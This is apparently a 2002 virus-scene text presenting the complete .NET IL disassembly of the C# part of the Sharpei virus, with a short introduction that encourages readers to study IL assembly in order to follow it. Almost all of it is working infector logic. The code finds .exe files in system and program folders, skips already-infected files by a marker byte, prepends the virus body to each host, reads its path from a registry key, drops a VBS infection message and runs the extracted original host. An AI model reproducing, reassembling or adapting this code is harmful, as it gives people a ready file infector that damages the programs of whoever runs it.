\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Disassembling Sharpei, the 1st C# malware...\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ I can't wait to see the source code of the 1st C# malware so i decided to download the binary of the Sharpei virus from Gigabyte's homepage.... i analysed the structure using notepad and i found out that the malware is layered this way... -------------------------------------------------------- Win32asm Header | VBS mass mailer | C# code -------------------------------------------------------- so isolating the C# component is so easy... presenting the disassembly of C# component of sharpei.... --------------------------------------------------------------------------------------------------------------------- // Microsoft (R) .NET Framework IL Disassembler. Version 1.0.2914.16 // Copyright (C) Microsoft Corp. 1998-2001. All rights reserved. // VTableFixup Directory: // No data. .assembly extern mscorlib { .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4.. .ver 1:0:3300:0 } .assembly extern System { .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4.. .ver 1:0:3300:0 } .assembly Sharp { .custom instance void [mscorlib]System.Reflection.AssemblyCopyrightAttribute::.ctor(string) = ( 01 00 00 00 00 ) .custom instance void [mscorlib]System.Reflection.AssemblyKeyFileAttribute::.ctor(string) = ( 01 00 00 00 00 ) .custom instance void [mscorlib]System.Reflection.AssemblyDelaySignAttribute::.ctor(bool) = ( 01 00 00 00 00 ) .custom instance void [mscorlib]System.Reflection.AssemblyTrademarkAttribute::.ctor(string) = ( 01 00 00 00 00 ) .custom instance void [mscorlib]System.Reflection.AssemblyKeyNameAttribute::.ctor(string) = ( 01 00 00 00 00 ) .custom instance void [mscorlib]System.Reflection.AssemblyProductAttribute::.ctor(string) = ( 01 00 00 00 00 ) .custom instance void [mscorlib]System.Reflection.AssemblyCompanyAttribute::.ctor(string) = ( 01 00 00 00 00 ) .custom instance void [mscorlib]System.Reflection.AssemblyConfigurationAttribute::.ctor(string) = ( 01 00 00 00 00 ) .custom instance void [mscorlib]System.Reflection.AssemblyDescriptionAttribute::.ctor(string) = ( 01 00 00 00 00 ) .custom instance void [mscorlib]System.Reflection.AssemblyTitleAttribute::.ctor(string) = ( 01 00 00 00 00 ) .hash algorithm 0x00008004 .ver 1:0:786:36587 } .mresource public Sharp.Sharp.resources { } .module Sharp.exe // MVID: {832C42CB-10F1-4F43-B7C9-86EB93BDBDB7} .imagebase 0x00400000 .subsystem 0x00000002 .file alignment 512 .corflags 0x00000001 // Image base: 0x8264d000 .namespace Sharp { .class public auto ansi beforefieldinit Sharp extends [mscorlib]System.Object { .field private static string virname .method private hidebysig static void Main() cil managed { .entrypoint .custom instance void [mscorlib]System.STAThreadAttribute::.ctor() = ( 01 00 00 00 ) // Code size 362 (0x16a) .maxstack 5 .locals init (string V_0, class [mscorlib]System.IO.FileInfo V_1, class [mscorlib]System.IO.StreamWriter V_2, string V_3, string V_4, string[] V_5, class [mscorlib]System.IO.FileStream V_6, class [mscorlib]System.IO.FileStream V_7, unsigned int8[] V_8, int64 V_9, class [System]System.Diagnostics.Process V_10) IL_0000: ldc.i4.7 IL_0001: call string [mscorlib]System.Environment::GetFolderPath(valuetype [mscorlib]System.Environment/SpecialFolder) IL_0006: newobj instance void [mscorlib]System.IO.DirectoryInfo::.ctor(string) IL_000b: callvirt instance string [mscorlib]System.IO.FileSystemInfo::get_FullName() IL_0010: stloc.0 IL_0011: ldloc.0 IL_0012: ldstr "\\Sharp.vbs" IL_0017: call string [mscorlib]System.String::Concat(string, string) IL_001c: newobj instance void [mscorlib]System.IO.FileInfo::.ctor(string) IL_0021: stloc.1 IL_0022: ldloc.1 IL_0023: callvirt instance class [mscorlib]System.IO.StreamWriter [mscorlib]System.IO.FileInfo::CreateText() IL_0028: stloc.2 IL_0029: ldloc.2 IL_002a: ldstr "MsgBox \"You're infected with Win32.HLLP.Sharp, wri" + "tten in C#, by Gigabyte/Metaphase\",64,\"Sharp\"" IL_002f: callvirt instance void [mscorlib]System.IO.TextWriter::Write(string) IL_0034: ldloc.2 IL_0035: callvirt instance void [mscorlib]System.IO.TextWriter::Close() IL_003a: call string [mscorlib]System.Environment::get_SystemDirectory() IL_003f: newobj instance void [mscorlib]System.IO.DirectoryInfo::.ctor(string) IL_0044: call instance class [mscorlib]System.IO.DirectoryInfo [mscorlib]System.IO.DirectoryInfo::get_Parent() IL_0049: callvirt instance string [mscorlib]System.IO.FileSystemInfo::get_FullName() IL_004e: stloc.3 IL_004f: ldc.i4.s 38 IL_0051: call string [mscorlib]System.Environment::GetFolderPath(valuetype [mscorlib]System.Environment/SpecialFolder) IL_0056: newobj instance void [mscorlib]System.IO.DirectoryInfo::.ctor(string) IL_005b: callvirt instance string [mscorlib]System.IO.FileSystemInfo::get_FullName() IL_0060: stloc.s V_4 IL_0062: ldloc.s V_4 IL_0064: ldstr "*.*" IL_0069: call string[] [mscorlib]System.IO.Directory::GetDirectories(string, string) IL_006e: stloc.s V_5 IL_0070: ldloc.3 IL_0071: call void Sharp.Sharp::FileSearch(string) IL_0076: ldloc.s V_5 IL_0078: ldc.i4.s 11 IL_007a: ldelem.ref IL_007b: call void Sharp.Sharp::FileSearch(string) IL_0080: ldloc.s V_5 IL_0082: ldc.i4.s 12 IL_0084: ldelem.ref IL_0085: call void Sharp.Sharp::FileSearch(string) IL_008a: ldloc.s V_5 IL_008c: ldc.i4.s 13 IL_008e: ldelem.ref IL_008f: call void Sharp.Sharp::FileSearch(string) IL_0094: ldsfld string Sharp.Sharp::virname IL_0099: ldc.i4.3 IL_009a: ldc.i4.1 IL_009b: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string, valuetype [mscorlib]System.IO.FileMode, valuetype [mscorlib]System.IO.FileAccess) IL_00a0: stloc.s V_6 IL_00a2: ldstr "temp.exe" IL_00a7: ldc.i4.4 IL_00a8: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string, valuetype [mscorlib]System.IO.FileMode) IL_00ad: stloc.s V_7 IL_00af: ldloc.s V_6 IL_00b1: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length() IL_00b6: conv.i4 IL_00b7: ldc.i4 0x3000 IL_00bc: sub IL_00bd: conv.ovf.u4 IL_00be: newarr [mscorlib]System.Byte IL_00c3: stloc.s V_8 IL_00c5: ldloc.s V_6 IL_00c7: ldc.i4 0x3000 IL_00cc: conv.i8 IL_00cd: ldc.i4.0 IL_00ce: callvirt instance int64 [mscorlib]System.IO.Stream::Seek(int64, valuetype [mscorlib]System.IO.SeekOrigin) IL_00d3: pop IL_00d4: ldloc.s V_6 IL_00d6: ldloc.s V_8 IL_00d8: ldc.i4.0 IL_00d9: ldloc.s V_6 IL_00db: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length() IL_00e0: conv.i4 IL_00e1: ldc.i4 0x3000 IL_00e6: sub IL_00e7: callvirt instance int32 [mscorlib]System.IO.Stream::Read(unsigned int8[], int32, int32) IL_00ec: pop IL_00ed: ldloc.s V_7 IL_00ef: ldloc.s V_8 IL_00f1: ldc.i4.0 IL_00f2: ldloc.s V_6 IL_00f4: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length() IL_00f9: conv.i4 IL_00fa: ldc.i4 0x3000 IL_00ff: sub IL_0100: callvirt instance void [mscorlib]System.IO.Stream::Write(unsigned int8[], int32, int32) IL_0105: ldloc.s V_7 IL_0107: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length() IL_010c: stloc.s V_9 IL_010e: ldloc.s V_7 IL_0110: callvirt instance void [mscorlib]System.IO.Stream::Close() IL_0115: ldloc.s V_9 IL_0117: ldc.i4.0 IL_0118: conv.i8 IL_0119: ble.s IL_015d IL_011b: ldsfld string Sharp.Sharp::virname IL_0120: ldstr "MS02-010.exe" IL_0125: callvirt instance bool [mscorlib]System.String::EndsWith(string) IL_012a: brtrue.s IL_015d IL_012c: newobj instance void [System]System.Diagnostics.Process::.ctor() IL_0131: stloc.s V_10 IL_0133: ldloc.s V_10 IL_0135: callvirt instance class [System]System.Diagnostics.ProcessStartInfo [System]System.Diagnostics.Process::get_StartInfo() IL_013a: ldstr "temp.exe" IL_013f: callvirt instance void [System]System.Diagnostics.ProcessStartInfo::set_FileName(string) IL_0144: ldloc.s V_10 IL_0146: callvirt instance bool [System]System.Diagnostics.Process::Start() IL_014b: pop IL_014c: br.s IL_015d .try { IL_014e: ldstr "temp.exe" IL_0153: call void [mscorlib]System.IO.File::Delete(string) IL_0158: leave.s IL_015d } // end .try catch [mscorlib]System.Object { IL_015a: pop IL_015b: leave.s IL_015d } // end handler IL_015d: ldstr "temp.exe" IL_0162: call bool [mscorlib]System.IO.File::Exists(string) IL_0167: brtrue.s IL_014e IL_0169: ret } // end of method Sharp::Main .method private hidebysig static void FileSearch(string DirectoryToCheck) cil managed { // Code size 225 (0xe1) .maxstack 5 .locals init (string[] V_0, int32 V_1, int32 V_2, string V_3, class [mscorlib]System.IO.FileStream V_4, int32 V_5, class [mscorlib]System.IO.FileStream V_6, class [mscorlib]System.IO.FileStream V_7, unsigned int8[] V_8) IL_0000: ldarg.0 IL_0001: ldstr "*.exe" IL_0006: call string[] [mscorlib]System.IO.Directory::GetFiles(string, string) IL_000b: stloc.0 IL_000c: ldloc.0 IL_000d: ldlen IL_000e: conv.i4 IL_000f: stloc.1 IL_0010: ldc.i4.0 IL_0011: stloc.2 IL_0012: br IL_00cf IL_0017: ldloc.0 IL_0018: ldloc.2 IL_0019: ldelem.ref IL_001a: stloc.3 IL_001b: ldloc.3 IL_001c: ldc.i4.3 IL_001d: ldc.i4.1 IL_001e: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string, valuetype [mscorlib]System.IO.FileMode, valuetype [mscorlib]System.IO.FileAccess) IL_0023: stloc.s V_4 IL_0025: ldloc.s V_4 IL_0027: ldc.i4.s 18 IL_0029: conv.i8 IL_002a: ldc.i4.0 IL_002b: callvirt instance int64 [mscorlib]System.IO.Stream::Seek(int64, valuetype [mscorlib]System.IO.SeekOrigin) IL_0030: pop IL_0031: ldloc.s V_4 IL_0033: callvirt instance int32 [mscorlib]System.IO.Stream::ReadByte() IL_0038: stloc.s V_5 IL_003a: ldloc.s V_4 IL_003c: callvirt instance void [mscorlib]System.IO.Stream::Close() IL_0041: ldloc.s V_5 IL_0043: ldc.i4.s 103 IL_0045: beq IL_00cb .try { IL_004a: ldloc.3 IL_004b: ldc.i4 0x80 IL_0050: call void [mscorlib]System.IO.File::SetAttributes(string, valuetype [mscorlib]System.IO.FileAttributes) IL_0055: ldloc.3 IL_0056: ldstr "hostcopy.exe" IL_005b: ldc.i4.1 IL_005c: call void [mscorlib]System.IO.File::Copy(string, string, bool) IL_0061: ldsfld string Sharp.Sharp::virname IL_0066: ldloc.3 IL_0067: ldc.i4.1 IL_0068: call void [mscorlib]System.IO.File::Copy(string, string, bool) IL_006d: ldstr "hostcopy.exe" IL_0072: ldc.i4.3 IL_0073: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string, valuetype [mscorlib]System.IO.FileMode) IL_0078: stloc.s V_6 IL_007a: ldloc.3 IL_007b: ldc.i4.6 IL_007c: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string, valuetype [mscorlib]System.IO.FileMode) IL_0081: stloc.s V_7 IL_0083: ldloc.s V_6 IL_0085: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length() IL_008a: conv.i4 IL_008b: conv.ovf.u4 IL_008c: newarr [mscorlib]System.Byte IL_0091: stloc.s V_8 IL_0093: ldloc.s V_6 IL_0095: ldloc.s V_8 IL_0097: ldc.i4.0 IL_0098: ldloc.s V_6 IL_009a: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length() IL_009f: conv.i4 IL_00a0: callvirt instance int32 [mscorlib]System.IO.Stream::Read(unsigned int8[], int32, int32) IL_00a5: pop IL_00a6: ldloc.s V_7 IL_00a8: ldloc.s V_8 IL_00aa: ldc.i4.0 IL_00ab: ldloc.s V_6 IL_00ad: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length() IL_00b2: conv.i4 IL_00b3: callvirt instance void [mscorlib]System.IO.Stream::Write(unsigned int8[], int32, int32) IL_00b8: ldloc.s V_6 IL_00ba: callvirt instance void [mscorlib]System.IO.Stream::Close() IL_00bf: ldloc.s V_7 IL_00c1: callvirt instance void [mscorlib]System.IO.Stream::Close() IL_00c6: leave.s IL_00cb } // end .try catch [mscorlib]System.Object { IL_00c8: pop IL_00c9: leave.s IL_00cb } // end handler IL_00cb: ldloc.2 IL_00cc: ldc.i4.1 IL_00cd: add IL_00ce: stloc.2 IL_00cf: ldloc.2 IL_00d0: ldloc.1 IL_00d1: blt IL_0017 IL_00d6: ldstr "hostcopy.exe" IL_00db: call void [mscorlib]System.IO.File::Delete(string) IL_00e0: ret } // end of method Sharp::FileSearch .method private hidebysig specialname rtspecialname static void .cctor() cil managed { // Code size 36 (0x24) .maxstack 2 IL_0000: ldsfld class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.Registry::LocalMachine IL_0005: ldstr "Software\\Sharp" IL_000a: callvirt instance class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.RegistryKey::OpenSubKey(string) IL_000f: ldstr "" IL_0014: callvirt instance object [mscorlib]Microsoft.Win32.RegistryKey::GetValue(string) IL_0019: castclass [mscorlib]System.String IL_001e: stsfld string Sharp.Sharp::virname IL_0023: ret } // end of method Sharp::.cctor .method public hidebysig specialname rtspecialname instance void .ctor() cil managed { // Code size 7 (0x7) .maxstack 1 IL_0000: ldarg.0 IL_0001: call instance void [mscorlib]System.Object::.ctor() IL_0006: ret } // end of method Sharp::.ctor } // end of class Sharp } // end of namespace Sharp //*********** DISASSEMBLY COMPLETE *********************** // WARNING: Created Win32 resource file C:\sharp.res ------------------------------------------------------------------------------------------------- don't wait for the source code of sharpei in coderz.net #3.... let us all study ilasm and be able to understand this listing.... \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ by : IllAwesome\\\\\\\\\\\\\\\\\\ 7152002\\\\\\\\\\\\\\\\\\\\\\\\\\\ "IL Asm is the pyucha..."\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\